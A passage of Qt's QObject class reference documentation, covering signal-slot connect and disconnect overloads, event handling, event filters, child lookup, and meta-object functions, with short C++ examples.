 **See also** [QObject::objectName](qobject#objectName-prop).

 ### 
`[virtual]` QObject::~QObject()

 Destroys the object, deleting all its child objects.

 All signals to and from the object are automatically disconnected, and any pending posted events for the object are removed from the event queue. However, it is often safer to use [deleteLater](qobject#deleteLater)() rather than deleting a [QObject](qobject) subclass directly.

  **Warning:** All child objects are deleted. If any of these objects are on the stack or global, sooner or later your program will crash. We do not recommend holding pointers to child objects from outside the parent. If you still do, the [destroyed](qobject#destroyed)() signal gives you an opportunity to detect when an object is destroyed.

   **Warning:** Deleting a [QObject](qobject) while pending events are waiting to be delivered can cause a crash. You must not delete the [QObject](qobject) directly if it exists in a different thread than the one currently executing. Use [deleteLater](qobject#deleteLater)() instead, which will cause the event loop to delete the object after all pending events have been delivered to it.

  **See also** [deleteLater](qobject#deleteLater)().

 ### 
bool QObject::blockSignals(bool *block*)

 If *block* is true, signals emitted by this object are blocked (i.e., emitting a signal will not invoke anything connected to it). If *block* is false, no such blocking will occur.

 The return value is the previous value of [signalsBlocked](qobject#signalsBlocked)().

 Note that the [destroyed](qobject#destroyed)() signal will be emitted even if the signals for this object have been blocked.

 Signals emitted while being blocked are not buffered.

 **See also** [signalsBlocked](qobject#signalsBlocked)() and [QSignalBlocker](qsignalblocker).

 ### 
`[virtual protected]` void QObject::childEvent([QChildEvent](qchildevent) \**event*)

 This event handler can be reimplemented in a subclass to receive child events. The event is passed in the *event* parameter.

 [QEvent::ChildAdded](qevent#Type-enum) and [QEvent::ChildRemoved](qevent#Type-enum) events are sent to objects when children are added or removed. In both cases you can only rely on the child being a [QObject](qobject), or if [isWidgetType](qobject#isWidgetType)() returns `true`, a [QWidget](qwidget). (This is because, in the [ChildAdded](qevent#Type-enum) case, the child is not yet fully constructed, and in the [ChildRemoved](qevent#Type-enum) case it might have been destructed already).

 [QEvent::ChildPolished](qevent#Type-enum) events are sent to widgets when children are polished, or when polished children are added. If you receive a child polished event, the child's construction is usually completed. However, this is not guaranteed, and multiple polish events may be delivered during the execution of a widget's constructor.

 For every child widget, you receive one [ChildAdded](qevent#Type-enum) event, zero or more [ChildPolished](qevent#Type-enum) events, and one [ChildRemoved](qevent#Type-enum) event.

 The [ChildPolished](qevent#Type-enum) event is omitted if a child is removed immediately after it is added. If a child is polished several times during construction and destruction, you may receive several child polished events for the same child, each time with a different virtual table.

 **See also** [event](qobject#event)().

 ### const [QObjectList](qobject#QObjectList-typedef) &QObject::children() const

 Returns a list of child objects. The [QObjectList](qobject#QObjectList-typedef) class is defined in the `<QObject>` header file as the following:

 
```
typedef QList<QObject*> QObjectList;
```
 The first child added is the [first](qlist#first) object in the list and the last child added is the [last](qlist#last) object in the list, i.e. new children are appended at the end.

 Note that the list order changes when [QWidget](qwidget) children are [raised](qwidget#raise) or [lowered](qwidget#lower). A widget that is raised becomes the last object in the list, and a widget that is lowered becomes the first object in the list.

 **See also** [findChild](qobject#findChild)(), [findChildren](qobject#findChildren)(), [parent](qobject#parent)(), and [setParent](qobject#setParent)().

 ### 
`[static]` [QMetaObject::Connection](qmetaobject-connection) QObject::connect(const [QObject](qobject#QObject) \**sender*, const char \**signal*, const [QObject](qobject#QObject) \**receiver*, const char \**method*, [Qt::ConnectionType](qt#ConnectionType-enum) *type* = Qt::AutoConnection)

 Creates a connection of the given *type* from the *signal* in the *sender* object to the *method* in the *receiver* object. Returns a handle to the connection that can be used to disconnect it later.

 You must use the `SIGNAL()` and `SLOT()` macros when specifying the *signal* and the *method*, for example:

 
```
QLabel *label = new QLabel;
QScrollBar *scrollBar = new QScrollBar;
QObject::connect(scrollBar, SIGNAL(valueChanged(int)),
                 label,  SLOT(setNum(int)));
```
 This example ensures that the label always displays the current scroll bar value. Note that the signal and slots parameters must not contain any variable names, only the type. E.g. the following would not work and return false:

 
```
// WRONG
QObject::connect(scrollBar, SIGNAL(valueChanged(int value)),
                 label, SLOT(setNum(int value)));
```
 A signal can also be connected to another signal:

 
```
class MyWidget : public QWidget
{
    Q_OBJECT

public:
    MyWidget();

signals:
    void buttonClicked();

private:
    QPushButton *myButton;
};

MyWidget::MyWidget()
{
    myButton = new QPushButton(this);
    connect(myButton, SIGNAL(clicked()),
            this, SIGNAL(buttonClicked()));
}
```
 In this example, the `MyWidget` constructor relays a signal from a private member variable, and makes it available under a name that relates to `MyWidget`.

 A signal can be connected to many slots and signals. Many signals can be connected to one slot.

 If a signal is connected to several slots, the slots are activated in the same order in which the connections were made, when the signal is emitted.

 The function returns a [QMetaObject::Connection](qmetaobject-connection) that represents a handle to a connection if it successfully connects the signal to the slot. The connection handle will be invalid if it cannot create the connection, for example, if [QObject](qobject) is unable to verify the existence of either *signal* or *method*, or if their signatures aren't compatible. You can check if the handle is valid by casting it to a bool.

 By default, a signal is emitted for every connection you make; two signals are emitted for duplicate connections. You can break all of these connections with a single [disconnect](qobject#disconnect)() call. If you pass the [Qt::UniqueConnection](qt#ConnectionType-enum) *type*, the connection will only be made if it is not a duplicate. If there is already a duplicate (exact same signal to the exact same slot on the same objects), the connection will fail and connect will return an invalid [QMetaObject::Connection](qmetaobject-connection).

  **Note:** Qt::UniqueConnections do not work for lambdas, non-member functions and functors; they only apply to connecting to member functions.

  The optional *type* parameter describes the type of connection to establish. In particular, it determines whether a particular signal is delivered to a slot immediately or queued for delivery at a later time. If the signal is queued, the parameters must be of types that are known to Qt's meta-object system, because Qt needs to copy the arguments to store them in an event behind the scenes. If you try to use a queued connection and get the error message

 
```
QObject::connect: Cannot queue arguments of type 'MyType'
(Make sure 'MyType' is registered using qRegisterMetaType().)
```
 call [qRegisterMetaType](qmetatype#qRegisterMetaType-1)() to register the data type before you establish the connection.

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [disconnect](qobject#disconnect)(), [sender](qobject#sender)(), [qRegisterMetaType](qmetatype#qRegisterMetaType-1)(), [Q\_DECLARE\_METATYPE](qmetatype#Q_DECLARE_METATYPE)(), and [Differences between String-Based and Functor-Based Connections](signalsandslots-syntaxes).

 ### 
`[static]` [QMetaObject::Connection](qmetaobject-connection) QObject::connect(const [QObject](qobject#QObject) \**sender*, const [QMetaMethod](qmetamethod) &*signal*, const [QObject](qobject#QObject) \**receiver*, const [QMetaMethod](qmetamethod) &*method*, [Qt::ConnectionType](qt#ConnectionType-enum) *type* = Qt::AutoConnection)

 Creates a connection of the given *type* from the *signal* in the *sender* object to the *method* in the *receiver* object. Returns a handle to the connection that can be used to disconnect it later.

 The Connection handle will be invalid if it cannot create the connection, for example, the parameters were invalid. You can check if the [QMetaObject::Connection](qmetaobject-connection) is valid by casting it to a bool.

 This function works in the same way as `connect(const QObject *sender, const char *signal, const QObject *receiver, const char *method, Qt::ConnectionType type)` but it uses [QMetaMethod](qmetamethod) to specify signal and method.

 **See also** [connect](qobject#connect)(const QObject \*sender, const char \*signal, const QObject \*receiver, const char \*method, Qt::ConnectionType type).

 ### 
[QMetaObject::Connection](qmetaobject-connection) QObject::connect(const [QObject](qobject#QObject) \**sender*, const char \**signal*, const char \**method*, [Qt::ConnectionType](qt#ConnectionType-enum) *type* = Qt::AutoConnection) const

 This function overloads connect().

 Connects *signal* from the *sender* object to this object's *method*.

 Equivalent to connect(*sender*, *signal*, `this`, *method*, *type*).

 Every connection you make emits a signal, so duplicate connections emit two signals. You can break a connection using [disconnect](qobject#disconnect)().

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [disconnect](qobject#disconnect)().

 ### 
`[static]` template <typename PointerToMemberFunction> [QMetaObject::Connection](qmetaobject-connection) QObject::connect(const [QObject](qobject#QObject) \**sender*, PointerToMemberFunction *signal*, const [QObject](qobject#QObject) \**receiver*, PointerToMemberFunction *method*, [Qt::ConnectionType](qt#ConnectionType-enum) *type* = Qt::AutoConnection)

 This function overloads connect().

 Creates a connection of the given *type* from the *signal* in the *sender* object to the *method* in the *receiver* object. Returns a handle to the connection that can be used to disconnect it later.

 The signal must be a function declared as a signal in the header. The slot function can be any member function that can be connected to the signal. A slot can be connected to a given signal if the signal has at least as many arguments as the slot, and there is an implicit conversion between the types of the corresponding arguments in the signal and the slot.

 Example:

 
```
QLabel *label = new QLabel;
QLineEdit *lineEdit = new QLineEdit;
QObject::connect(lineEdit, &QLineEdit::textChanged,
                 label,  &QLabel::setText);
```
 This example ensures that the label always displays the current line edit text.

 A signal can be connected to many slots and signals. Many signals can be connected to one slot.

 If a signal is connected to several slots, the slots are activated in the same order as the order the connection was made, when the signal is emitted

 The function returns an handle to a connection if it successfully connects the signal to the slot. The Connection handle will be invalid if it cannot create the connection, for example, if [QObject](qobject) is unable to verify the existence of *signal* (if it was not declared as a signal) You can check if the [QMetaObject::Connection](qmetaobject-connection) is valid by casting it to a bool.

 By default, a signal is emitted for every connection you make; two signals are emitted for duplicate connections. You can break all of these connections with a single [disconnect](qobject#disconnect)() call. If you pass the [Qt::UniqueConnection](qt#ConnectionType-enum) *type*, the connection will only be made if it is not a duplicate. If there is already a duplicate (exact same signal to the exact same slot on the same objects), the connection will fail and connect will return an invalid [QMetaObject::Connection](qmetaobject-connection).

 The optional *type* parameter describes the type of connection to establish. In particular, it determines whether a particular signal is delivered to a slot immediately or queued for delivery at a later time. If the signal is queued, the parameters must be of types that are known to Qt's meta-object system, because Qt needs to copy the arguments to store them in an event behind the scenes. If you try to use a queued connection and get the error message

 
```
QObject::connect: Cannot queue arguments of type 'MyType'
(Make sure 'MyType' is registered using qRegisterMetaType().)
```
 make sure to declare the argument type with [Q\_DECLARE\_METATYPE](qmetatype#Q_DECLARE_METATYPE)

 Overloaded functions can be resolved with help of [qOverload](qtglobal#qOverload).

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [Differences between String-Based and Functor-Based Connections](signalsandslots-syntaxes).

 ### 
`[static]` template <typename PointerToMemberFunction, typename Functor> [QMetaObject::Connection](qmetaobject-connection) QObject::connect(const [QObject](qobject#QObject) \**sender*, PointerToMemberFunction *signal*, Functor *functor*)

 This function overloads connect().

 Creates a connection from *signal* in *sender* object to *functor*, and returns a handle to the connection

 The signal must be a function declared as a signal in the header. The slot function can be any function or functor that can be connected to the signal. A slot function can be connected to a given signal if the signal has at least as many arguments as the slot function. There must exist implicit conversion between the types of the corresponding arguments in the signal and the slot.

 Example:

 
```
void someFunction();
QPushButton *button = new QPushButton;
QObject::connect(button, &QPushButton::clicked, someFunction);
```
 Lambda expressions can also be used:

 
```
QByteArray page = ...;
QTcpSocket *socket = new QTcpSocket;
socket->connectToHost("qt-project.org", 80);
QObject::connect(socket, &QTcpSocket::connected, [=] () {
        socket->write("GET " + page + "\r\n");
    });
```
 The connection will automatically disconnect if the sender is destroyed. However, you should take care that any objects used within the functor are still alive when the signal is emitted.

 Overloaded functions can be resolved with help of [qOverload](qtglobal#qOverload).

 **Note:** This function is [thread-safe](threads-reentrancy).

 ### 
`[static, since 5.2]` template <typename PointerToMemberFunction, typename Functor> [QMetaObject::Connection](qmetaobject-connection) QObject::connect(const [QObject](qobject#QObject) \**sender*, PointerToMemberFunction *signal*, const [QObject](qobject#QObject) \**context*, Functor *functor*, [Qt::ConnectionType](qt#ConnectionType-enum) *type* = Qt::AutoConnection)

 This function overloads connect().

 Creates a connection of a given *type* from *signal* in *sender* object to *functor* to be placed in a specific event loop of *context*, and returns a handle to the connection.

  **Note:** Qt::UniqueConnections do not work for lambdas, non-member functions and functors; they only apply to connecting to member functions.

  The signal must be a function declared as a signal in the header. The slot function can be any function or functor that can be connected to the signal. A slot function can be connected to a given signal if the signal has at least as many arguments as the slot function. There must exist implicit conversion between the types of the corresponding arguments in the signal and the slot.

 Example:

 
```
void someFunction();
QPushButton *button = new QPushButton;
QObject::connect(button, &QPushButton::clicked, this, someFunction, Qt::QueuedConnection);
```
 Lambda expressions can also be used:

 
```
QByteArray page = ...;
QTcpSocket *socket = new QTcpSocket;
socket->connectToHost("qt-project.org", 80);
QObject::connect(socket, &QTcpSocket::connected, this, [=] () {
        socket->write("GET " + page + "\r\n");
    }, Qt::AutoConnection);
```
 The connection will automatically disconnect if the sender or the context is destroyed. However, you should take care that any objects used within the functor are still alive when the signal is emitted.

 Overloaded functions can be resolved with help of [qOverload](qtglobal#qOverload).

 **Note:** This function is [thread-safe](threads-reentrancy).

 This function was introduced in Qt 5.2.

 ### 
`[virtual protected, since 5.0]` void QObject::connectNotify(const [QMetaMethod](qmetamethod) &*signal*)

 This virtual function is called when something has been connected to *signal* in this object.

 If you want to compare *signal* with a specific signal, you can use [QMetaMethod::fromSignal](qmetamethod#fromSignal)() as follows:

 
```
if (signal == QMetaMethod::fromSignal(&MyObject::valueChanged)) {
    // signal is valueChanged
}
```
  **Warning:** This function violates the object-oriented principle of modularity. However, it might be useful when you need to perform expensive initialization only if something is connected to a signal.

   **Warning:** This function is called from the thread which performs the connection, which may be a different thread from the thread in which this object lives.

  This function was introduced in Qt 5.0.

 **See also** [connect](qobject#connect)() and [disconnectNotify](qobject#disconnectNotify)().

 ### 
`[virtual protected]` void QObject::customEvent([QEvent](qevent) \**event*)

 This event handler can be reimplemented in a subclass to receive custom events. Custom events are user-defined events with a type value at least as large as the [QEvent::User](qevent#Type-enum) item of the [QEvent::Type](qevent#Type-enum) enum, and is typically a [QEvent](qevent) subclass. The event is passed in the *event* parameter.

 **See also** [event](qobject#event)() and [QEvent](qevent).

 ### 
`[static]` bool QObject::disconnect(const [QObject](qobject#QObject) \**sender*, const char \**signal*, const [QObject](qobject#QObject) \**receiver*, const char \**method*)

 Disconnects *signal* in object *sender* from *method* in object *receiver*. Returns `true` if the connection is successfully broken; otherwise returns `false`.

 A signal-slot connection is removed when either of the objects involved are destroyed.

 disconnect() is typically used in three ways, as the following examples demonstrate.

 1. Disconnect everything connected to an object's signals:
```
disconnect(myObject, nullptr, nullptr, nullptr);
```
 equivalent to the non-static overloaded function

 
```
myObject->disconnect();
```
2. Disconnect everything connected to a specific signal:
```
disconnect(myObject, SIGNAL(mySignal()), nullptr, nullptr);
```
 equivalent to the non-static overloaded function

 
```
myObject->disconnect(SIGNAL(mySignal()));
```
3. Disconnect a specific receiver:
```
disconnect(myObject, nullptr, myReceiver, nullptr);
```
 equivalent to the non-static overloaded function

 
```
myObject->disconnect(myReceiver);
```

 `nullptr` may be used as a wildcard, meaning "any signal", "any receiving object", or "any slot in the receiving object", respectively.

 The *sender* may never be `nullptr`. (You cannot disconnect signals from more than one object in a single call.)

 If *signal* is `nullptr`, it disconnects *receiver* and *method* from any signal. If not, only the specified signal is disconnected.

 If *receiver* is `nullptr`, it disconnects anything connected to *signal*. If not, slots in objects other than *receiver* are not disconnected.

 If *method* is `nullptr`, it disconnects anything that is connected to *receiver*. If not, only slots named *method* will be disconnected, and all other slots are left alone. The *method* must be `nullptr` if *receiver* is left out, so you cannot disconnect a specifically-named slot on all objects.

  **Note:** Disconnecting all signal-slot connections will also disconnect the [QObject::destroyed](qobject#destroyed)() signal if it is connected. Doing so can adversely affect classes that rely on this signal for cleaning up resources. It is recommended to disconnect only the specific signals that were connected by application code.

  **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [connect](qobject#connect)().

 ### 
`[static]` bool QObject::disconnect(const [QObject](qobject#QObject) \**sender*, const [QMetaMethod](qmetamethod) &*signal*, const [QObject](qobject#QObject) \**receiver*, const [QMetaMethod](qmetamethod) &*method*)

 Disconnects *signal* in object *sender* from *method* in object *receiver*. Returns `true` if the connection is successfully broken; otherwise returns `false`.

 This function provides the same possibilities like `disconnect(const QObject *sender, const char *signal, const QObject *receiver, const char *method)` but uses [QMetaMethod](qmetamethod) to represent the signal and the method to be disconnected.

 Additionally this function returns false and no signals and slots disconnected if:

 1. *signal* is not a member of sender class or one of its parent classes.
2. *method* is not a member of receiver class or one of its parent classes.
3. *signal* instance represents not a signal.

 QMetaMethod() may be used as wildcard in the meaning "any signal" or "any slot in receiving object". In the same way `nullptr` can be used for *receiver* in the meaning "any receiving object". In this case method should also be QMetaMethod(). *sender* parameter should be never `nullptr`.

  **Note:** Disconnecting all signal-slot connections will also disconnect the [QObject::destroyed](qobject#destroyed)() signal if it is connected. Doing so can adversely affect classes that rely on this signal for cleaning up resources. It is recommended to disconnect only the specific signals that were connected by application code.

  **See also** [disconnect](qobject#disconnect)(const QObject \*sender, const char \*signal, const QObject \*receiver, const char \*method).

 ### 
bool QObject::disconnect(const char \**signal* = nullptr, const [QObject](qobject#QObject) \**receiver* = nullptr, const char \**method* = nullptr) const

 This function overloads disconnect().

 Disconnects *signal* from *method* of *receiver*.

 A signal-slot connection is removed when either of the objects involved are destroyed.

  **Note:** Disconnecting all signal-slot connections will also disconnect the [QObject::destroyed](qobject#destroyed)() signal if it is connected. Doing so can adversely affect classes that rely on this signal for cleaning up resources. It is recommended to disconnect only the specific signals that were connected by application code.

  **Note:** This function is [thread-safe](threads-reentrancy).

 ### 
bool QObject::disconnect(const [QObject](qobject#QObject) \**receiver*, const char \**method* = nullptr) const

 This function overloads disconnect().

 Disconnects all signals in this object from *receiver*'s *method*.

 A signal-slot connection is removed when either of the objects involved are destroyed.

 ### 
`[static]` bool QObject::disconnect(const [QMetaObject::Connection](qmetaobject-connection) &*connection*)

 Disconnect a connection.

 If the *connection* is invalid or has already been disconnected, do nothing and return false.

 **See also** [connect](qobject#connect)().

 ### 
`[static]` template <typename PointerToMemberFunction> bool QObject::disconnect(const [QObject](qobject#QObject) \**sender*, PointerToMemberFunction *signal*, const [QObject](qobject#QObject) \**receiver*, PointerToMemberFunction *method*)

 This function overloads disconnect().

 Disconnects *signal* in object *sender* from *method* in object *receiver*. Returns `true` if the connection is successfully broken; otherwise returns `false`.

 A signal-slot connection is removed when either of the objects involved are destroyed.

 disconnect() is typically used in three ways, as the following examples demonstrate.

 1. Disconnect everything connected to an object's signals:
```
disconnect(myObject, nullptr, nullptr, nullptr);
```
2. Disconnect everything connected to a specific signal:
```
disconnect(myObject, &MyObject::mySignal(), nullptr, nullptr);
```
3. Disconnect a specific receiver:
```
disconnect(myObject, nullptr, myReceiver, nullptr);
```
4. Disconnect a connection from one specific signal to a specific slot:
```
QObject::disconnect(lineEdit, &QLineEdit::textChanged,
                 label,  &QLabel::setText);
```

 `nullptr` may be used as a wildcard, meaning "any signal", "any receiving object", or "any slot in the receiving object", respectively.

 The *sender* may never be `nullptr`. (You cannot disconnect signals from more than one object in a single call.)

 If *signal* is `nullptr`, it disconnects *receiver* and *method* from any signal. If not, only the specified signal is disconnected.

 If *receiver* is `nullptr`, it disconnects anything connected to *signal*. If not, only slots in the specified receiver are disconnected. disconnect() with a non-null *receiver* also disconnects slot functions that were connected with *receiver* as their context object.

 If *method* is `nullptr`, it disconnects anything that is connected to *receiver*. If not, only slots named *method* will be disconnected, and all other slots are left alone. The *method* must be `nullptr` if *receiver* is left out, so you cannot disconnect a specifically-named slot on all objects.

  **Note:** It is not possible to use this overload to disconnect signals connected to functors or lambda expressions. That is because it is not possible to compare them. Instead, use the overload that takes a [QMetaObject::Connection](qmetaobject-connection)

  **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [connect](qobject#connect)().

 ### 
`[virtual protected, since 5.0]` void QObject::disconnectNotify(const [QMetaMethod](qmetamethod) &*signal*)

 This virtual function is called when something has been disconnected from *signal* in this object.

 See [connectNotify](qobject#connectNotify)() for an example of how to compare *signal* with a specific signal.

 If all signals were disconnected from this object (e.g., the signal argument to [disconnect](qobject#disconnect)() was `nullptr`), disconnectNotify() is only called once, and the *signal* will be an invalid [QMetaMethod](qmetamethod) ([QMetaMethod::isValid](qmetamethod#isValid)() returns `false`).

  **Warning:** This function violates the object-oriented principle of modularity. However, it might be useful for optimizing access to expensive resources.

   **Warning:** This function is called from the thread which performs the disconnection, which may be a different thread from the thread in which this object lives. This function may also be called with a [QObject](qobject) internal mutex locked. It is therefore not allowed to re-enter any of any [QObject](qobject) functions from your reimplementation and if you lock a mutex in your reimplementation, make sure that you don't call [QObject](qobject) functions with that mutex held in other places or it will result in a deadlock.

  This function was introduced in Qt 5.0.

 **See also** [disconnect](qobject#disconnect)() and [connectNotify](qobject#connectNotify)().

 ### 
void QObject::dumpObjectInfo() const

 Dumps information about signal connections, etc. for this object to the debug output.

  **Note:** Before Qt 5.9, this function was not const.

  **See also** [dumpObjectTree](qobject#dumpObjectTree)().

 ### 
void QObject::dumpObjectTree() const

 Dumps a tree of children to the debug output.

  **Note:** Before Qt 5.9, this function was not const.

  **See also** [dumpObjectInfo](qobject#dumpObjectInfo)().

 ### 
[QList](qlist)<[QByteArray](qbytearray)> QObject::dynamicPropertyNames() const

 Returns the names of all properties that were dynamically added to the object using [setProperty](qobject#setProperty)().

 ### 
`[virtual]` bool QObject::event([QEvent](qevent) \**e*)

 This virtual function receives events to an object and should return true if the event *e* was recognized and processed.

 The event() function can be reimplemented to customize the behavior of an object.

 Make sure you call the parent event class implementation for all the events you did not handle.

 Example:

 
```
class MyClass : public QWidget
{
    Q_OBJECT

public:
    MyClass(QWidget *parent = nullptr);
    ~MyClass();

    bool event(QEvent* ev) override
    {
        if (ev->type() == QEvent::PolishRequest) {
            // overwrite handling of PolishRequest if any
            doThings();
            return true;
        } else  if (ev->type() == QEvent::Show) {
            // complement handling of Show if any
            doThings2();
            QWidget::event(ev);
            return true;
        }
        // Make sure the rest of events are handled
        return QWidget::event(ev);
    }
};
```
 **See also** [installEventFilter](qobject#installEventFilter)(), [timerEvent](qobject#timerEvent)(), [QCoreApplication::sendEvent](qcoreapplication#sendEvent)(), and [QCoreApplication::postEvent](qcoreapplication#postEvent)().

 ### 
`[virtual]` bool QObject::eventFilter([QObject](qobject#QObject) \**watched*, [QEvent](qevent) \**event*)

 Filters events if this object has been installed as an event filter for the *watched* object.

 In your reimplementation of this function, if you want to filter the *event* out, i.e. stop it being handled further, return true; otherwise return false.

 Example:

 
```
class MainWindow : public QMainWindow
{
public:
    MainWindow();

protected:
    bool eventFilter(QObject *obj, QEvent *ev) override;

private:
    QTextEdit *textEdit;
};

MainWindow::MainWindow()
{
    textEdit = new QTextEdit;
    setCentralWidget(textEdit);

    textEdit->installEventFilter(this);
}

bool MainWindow::eventFilter(QObject *obj, QEvent *event)
{
    if (obj == textEdit) {
        if (event->type() == QEvent::KeyPress) {
            QKeyEvent *keyEvent = static_cast<QKeyEvent*>(event);
            qDebug() << "Ate key press" << keyEvent->key();
            return true;
        } else {
            return false;
        }
    } else {
        // pass the event on to the parent class
        return QMainWindow::eventFilter(obj, event);
    }
}
```
 Notice in the example above that unhandled events are passed to the base class's eventFilter() function, since the base class might have reimplemented eventFilter() for its own internal purposes.

 Some events, such as [QEvent::ShortcutOverride](qevent#Type-enum) must be explicitly accepted (by calling [accept](qevent#accept)() on them) in order to prevent propagation.

  **Warning:** If you delete the receiver object in this function, be sure to return true. Otherwise, Qt will forward the event to the deleted object and the program might crash.

  **See also** [installEventFilter](qobject#installEventFilter)().

 ### template <typename T> T QObject::findChild(const [QString](qstring) &*name* = QString(), [Qt::FindChildOptions](qt#FindChildOption-enum) *options* = Qt::FindChildrenRecursively) const

 Returns the child of this object that can be cast into type T and that is called *name*, or `nullptr` if there is no such object. Omitting the *name* argument causes all object names to be matched. The search is performed recursively, unless *options* specifies the option FindDirectChildrenOnly.

 If there is more than one child matching the search, the most direct ancestor is returned. If there are several direct ancestors, it is undefined which one will be returned. In that case, [findChildren](qobject#findChildren)() should be used.

 This example returns a child `QPushButton` of `parentWidget` named `"button1"`, even if the button isn't a direct child of the parent:

 
```
QPushButton *button = parentWidget->findChild<QPushButton *>("button1");
```
 This example returns a `QListWidget` child of `parentWidget`:

 
```
QListWidget *list = parentWidget->findChild<QListWidget *>();
```
 This example returns a child `QPushButton` of `parentWidget` (its direct parent) named `"button1"`:

 
```
QPushButton *button = parentWidget->findChild<QPushButton *>("button1", Qt::FindDirectChildrenOnly);
```
 This example returns a `QListWidget` child of `parentWidget`, its direct parent:

 
```
QListWidget *list = parentWidget->findChild<QListWidget *>(QString(), Qt::FindDirectChildrenOnly);
```
 **See also** [findChildren](qobject#findChildren)().

 ### template <typename T> [QList](qlist)<T> QObject::findChildren(const [QString](qstring) &*name* = QString(), [Qt::FindChildOptions](qt#FindChildOption-enum) *options* = Qt::FindChildrenRecursively) const

 Returns all children of this object with the given *name* that can be cast to type T, or an empty list if there are no such objects. Omitting the *name* argument causes all object names to be matched. The search is performed recursively, unless *options* specifies the option FindDirectChildrenOnly.

 The following example shows how to find a list of child `QWidget`s of the specified `parentWidget` named `widgetname`:

 
```
QList<QWidget *> widgets = parentWidget.findChildren<QWidget *>("widgetname");
```
 This example returns all `QPushButton`s that are children of `parentWidget`:

 
```
QList<QPushButton *> allPButtons = parentWidget.findChildren<QPushButton *>();
```
 This example returns all `QPushButton`s that are immediate children of `parentWidget`:

 
```
QList<QPushButton *> childButtons = parentWidget.findChildren<QPushButton *>(QString(), Qt::FindDirectChildrenOnly);
```
 **See also** [findChild](qobject#findChild)().

 ### 
`[since 5.0]` template <typename T> [QList](qlist)<T> QObject::findChildren(const [QRegularExpression](qregularexpression) &*re*, [Qt::FindChildOptions](qt#FindChildOption-enum) *options* = Qt::FindChildrenRecursively) const

 This function overloads findChildren().

 Returns the children of this object that can be cast to type T and that have names matching the regular expression *re*, or an empty list if there are no such objects. The search is performed recursively, unless *options* specifies the option FindDirectChildrenOnly.

 This function was introduced in Qt 5.0.

 ### 
bool QObject::inherits(const char \**className*) const

 Returns `true` if this object is an instance of a class that inherits *className* or a [QObject](qobject) subclass that inherits *className*; otherwise returns `false`.

 A class is considered to inherit itself.

 Example:

 
```
QTimer *timer = new QTimer;         // QTimer inherits QObject
timer->inherits("QTimer");          // returns true
timer->inherits("QObject");         // returns true
timer->inherits("QAbstractButton"); // returns false

// QVBoxLayout inherits QObject and QLayoutItem
QVBoxLayout *layout = new QVBoxLayout;
layout->inherits("QObject");        // returns true
layout->inherits("QLayoutItem");    // returns true (even though QLayoutItem is not a QObject)
```
 If you need to determine whether an object is an instance of a particular class for the purpose of casting it, consider using [qobject\_cast](qobject#qobject_cast)<Type \*>(object) instead.

 **See also** [metaObject](qobject#metaObject)() and [qobject\_cast](qobject#qobject_cast)().

 ### 
void QObject::installEventFilter([QObject](qobject#QObject) \**filterObj*)

 Installs an event filter *filterObj* on this object. For example:

 
```
monitoredObj->installEventFilter(filterObj);
```
 An event filter is an object that receives all events that are sent to this object. The filter can either stop the event or forward it to this object. The event filter *filterObj* receives events via its [eventFilter](qobject#eventFilter)() function. The [eventFilter](qobject#eventFilter)() function must return true if the event should be filtered, (i.e. stopped); otherwise it must return false.

 If multiple event filters are installed on a single object, the filter that was installed last is activated first.

 Here's a `KeyPressEater` class that eats the key presses of its monitored objects:

 
```
class KeyPressEater : public QObject
{
    Q_OBJECT
    ...

protected:
    bool eventFilter(QObject *obj, QEvent *event) override;
};

bool KeyPressEater::eventFilter(QObject *obj, QEvent *event)
{
    if (event->type() == QEvent::KeyPress) {
        QKeyEvent *keyEvent = static_cast<QKeyEvent *>(event);
        qDebug("Ate key press %d", keyEvent->key());
        return true;
    } else {
        // standard event processing
        return QObject::eventFilter(obj, event);
    }
}
```
 And here's how to install it on two widgets:

 
```
KeyPressEater *keyPressEater = new KeyPressEater(this);
QPushButton *pushButton = new QPushButton(this);
QListView *listView = new QListView(this);

pushButton->installEventFilter(keyPressEater);
listView->installEventFilter(keyPressEater);
```
 The [QShortcut](qshortcut) class, for example, uses this technique to intercept shortcut key presses.

  **Warning:** If you delete the receiver object in your [eventFilter](qobject#eventFilter)() function, be sure to return true. If you return false, Qt sends the event to the deleted object and the program will crash.

  Note that the filtering object must be in the same thread as this object. If *filterObj* is in a different thread, this function does nothing. If either *filterObj* or this object are moved to a different thread after calling this function, the event filter will not be called until both objects have the same thread affinity again (it is *not* removed).

 **See also** [removeEventFilter](qobject#removeEventFilter)(), [eventFilter](qobject#eventFilter)(), and [event](qobject#event)().

 ### 
`[protected, since 5.0]` bool QObject::isSignalConnected(const [QMetaMethod](qmetamethod) &*signal*) const

 Returns `true` if the *signal* is connected to at least one receiver, otherwise returns `false`.

 *signal* must be a signal member of this object, otherwise the behaviour is undefined.

 
```
static const QMetaMethod valueChangedSignal = QMetaMethod::fromSignal(&MyObject::valueChanged);
if (isSignalConnected(valueChangedSignal)) {
    QByteArray data;
    data = get_the_value();       // expensive operation
    emit valueChanged(data);
}
```
 As the code snippet above illustrates, you can use this function to avoid emitting a signal that nobody listens to.

  **Warning:** This function violates the object-oriented principle of modularity. However, it might be useful when you need to perform expensive initialization only if something is connected to a signal.

  This function was introduced in Qt 5.0.

 ### 
bool QObject::isWidgetType() const

 Returns `true` if the object is a widget; otherwise returns `false`.

 Calling this function is equivalent to calling `inherits("QWidget")`, except that it is much faster.

 ### 
bool QObject::isWindowType() const

 Returns `true` if the object is a window; otherwise returns `false`.

 Calling this function is equivalent to calling `inherits("QWindow")`, except that it is much faster.

 ### 
void QObject::killTimer(int *id*)

 Kills the timer with timer identifier, *id*.

 The timer identifier is returned by [startTimer](qobject#startTimer)() when a timer event is started.

 **See also** [timerEvent](qobject#timerEvent)() and [startTimer](qobject#startTimer)().

 ### 
`[virtual]` const [QMetaObject](qmetaobject) \*QObject::metaObject() const

 Returns a pointer to the meta-object of this object.

 A meta-object contains information about a class that inherits [QObject](qobject), e.g. class name, superclass name, properties, signals and slots. Every [QObject](qobject) subclass that contains the [Q\_OBJECT](qobject#Q_OBJECT) macro will have a meta-object.

 The meta-object information is required by the signal/slot connection mechanism and the property system. The [inherits](qobject#inherits)() function also makes use of the meta-object.

 If you have no pointer to an actual object instance but still want to access the meta-object of a class, you can use [staticMetaObject](qobject#staticMetaObject-var).

 Example:

 
```
QObject *obj = new QPushButton;
obj->metaObject()->className();             // returns "QPushButton"

QPushButton::staticMetaObject.className();  // returns "QPushButton"
